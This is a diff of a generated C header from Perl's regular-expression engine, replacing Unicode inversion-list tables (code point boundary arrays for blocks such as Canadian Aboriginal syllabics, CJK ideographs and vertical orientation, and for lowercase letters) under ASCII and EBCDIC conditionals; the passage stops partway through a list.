-static const UV PL_UCAS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0xFDB, + 0x1000, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, 0x1400, - 0x1680 -}; - -static const UV PL_UCASEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x18B0, - 0x1900 -}; - -static const UV PL_UGAR_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0 -}; - -static const UV PL_UIDEO_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1 -}; - -static const UV PL_VAI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA500, - 0xA62C -}; - -static const UV PL_VEDICEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1CD0, - 0x1D00 -}; - -static const UV PL_VERTICALFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE10, - 0xFE20 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_VO__R_invlist[] = { /* for ASCII/Latin1 */ - 175, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA7, - 0xA8, - 0xA9, - 0xAA, - 0xAE, - 0xAF, - 0xB1, - 0xB2, - 0xBC, - 0xBF, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, - 0x1401, - 0x1680, - 0x18B0, - 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, - 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, - 0x2052, - 0x2065, - 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x2100, - 0x2102, - 0x2103, - 0x210A, - 0x210F, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x218A, - 0x218C, - 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2324, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, - 0x2768, - 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, - 0x2BD2, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2E80, - 0xA4D0, - 0xA960, - 0xA980, - 0xAC00, - 0xD800, - 0xE000, - 0xFB00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE49, - 0xFE50, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE67, - 0xFE70, - 0xFF01, - 0xFF0D, - 0xFF0E, - 0xFF1C, - 0xFF1F, - 0xFF61, - 0xFFE0, - 0xFFE8, - 0xFFF0, - 0xFFF9, - 0xFFFC, - 0xFFFE, - 0x10980, - 0x109A0, - 0x11580, - 0x11600, - 0x11A00, - 0x11AB0, - 0x13000, - 0x13430, - 0x14400, - 0x14680, - 0x16FE0, - 0x18B00, - 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, - 0x1D000, - 0x1D200, - 0x1D300, - 0x1D380, - 0x1D800, - 0x1DAB0, - 0x1F000, - 0x1F800, - 0x1F900, - 0x1FA00, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_VO__R_invlist[] = { /* for EBCDIC 1047 */ - 173, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8F, - 0x90, - 0xAF, - 0xB0, - 0xB4, - 0xB6, - 0xB7, - 0xBA, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, - 0x1401, 0x1680, + 0x1681, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, 0x18B0, + 0x18F6, 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FC5, + 0x1FC6, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FDD, + 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFF, + 0x200B, + 0x2028, + 0x202A, + 0x202F, 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, - 0x2052, + 0x205F, + 0x2060, 0x2065, 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, 0x2100, - 0x2102, - 0x2103, - 0x210A, - 0x210F, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x218A, 0x218C, 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2324, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, - 0x2768, - 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, 0x2BD2, - 0x2BD3, 0x2BEC, 0x2BF0, 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CF4, + 0x2CF9, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3001, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, 0xA4D0, - 0xA960, + 0xA62C, + 0xA640, + 0xA6F8, + 0xA700, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, + 0xAB70, + 0xABEE, + 0xABF0, + 0xABFA, 0xAC00, - 0xD800, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, 0xE000, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, - 0xFE10, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, 0xFE20, - 0xFE30, - 0xFE49, - 0xFE50, - 0xFE58, - 0xFE59, - 0xFE63, + 0xFE53, + 0xFE54, 0xFE67, + 0xFE68, + 0xFE6C, 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, 0xFF01, - 0xFF0D, - 0xFF0E, - 0xFF1C, - 0xFF1F, - 0xFF61, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, 0xFFE0, + 0xFFE7, 0xFFE8, - 0xFFF0, + 0xFFEF, 0xFFF9, - 0xFFFC, 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, 0x10980, - 0x109A0, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, 0x11600, - 0x11A00, - 0x11AB0, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, 0x13000, - 0x13430, + 0x1342F, 0x14400, - 0x14680, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, 0x16FE0, - 0x18B00, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, 0x1D200, + 0x1D246, 0x1D300, - 0x1D380, - 0x1D800, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, 0x1F800, - 0x1F900, - 0x1FA00, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, 0xF0000, 0xFFFFE, 0x100000, 0x10FFFE }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_VO__R_invlist[] = { /* for EBCDIC 037 */ - 173, /* Number of elements */ +static const UV XPosixLower_invlist[] = { /* for EBCDIC 1047 */ + 1289, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x70, + 0x71, + 0x81, + 0x8A, + 0x8C, 0x8F, - 0x90, - 0xAF, - 0xB0, - 0xB4, - 0xB6, - 0xB7, - 0xBA, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, - 0x1401, - 0x1680, - 0x18B0, - 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, - 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, - 0x2052, - 0x2065, - 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x2100, - 0x2102, - 0x2103, + 0x91, + 0x9D, + 0xA0, + 0xA1, + 0xA2, + 0xAA, + 0xCB, + 0xD0, + 0xDB, + 0xE0, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BB, + 0x1BD, + 0x1C0, + 0x1C6, + 0x1C7, + 0x1C9, + 0x1CA, + 0x1CC, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F3, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2E0, + 0x2E5, + 0x345, + 0x346, + 0x371, + 0x372, + 0x373, + 0x374, + 0x377, + 0x378, + 0x37A, + 0x37E, + 0x390, + 0x391, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, + 0x3F6, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, + 0x482, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 